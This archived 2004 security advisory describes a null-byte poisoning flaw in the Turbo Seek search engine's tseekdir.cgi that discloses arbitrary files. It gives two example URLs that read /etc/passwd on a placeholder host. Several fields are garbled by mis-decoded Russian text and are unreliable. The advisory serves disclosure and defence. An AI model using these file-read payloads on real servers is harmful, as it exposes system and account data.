A vulnerability in Turbo Seek 1.x allows an attacker the ability to access the contents of any file in the file system.
fad5b7e11a59e7a95ea1a03df172d19dd0c7273b055c119e5e06dc2f9135f4e5
+~~~| Advisory #17. Search Engine & Directory by Turbo Seek
Software: Search Engine & Directory Powered by Turbo Seek
Vendor: FocalMedia.Net http://www.focalmedia.net
Vulnerability: âîçìîæíîñòü ÷òåíèÿ ôàéëîâ
Risk: ñðåäíèé
Date: 10'Sept 2004
discovered by durito -durito[at]mail[dot]ru-
HTTP: www.lwb57.org
IRC: irc.lwb57.org:6667 #lwb
+~~~:| Details |:
Ñêðèïò tseekdir.cgi íå âûïîëíÿåò ïðîâåðêó íà "null-byte poison"
+~~~:| Exploit |:
www.victim.com/cgi-bin/cgi/tseekdir.cgi?location=/etc/passwd%00
www.victim.com/cgi-bin/tseekdir.cgi?id=799&location=/etc/passwd%00
(c) 2004 copyright by LwB Security Team. all rights reserved
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed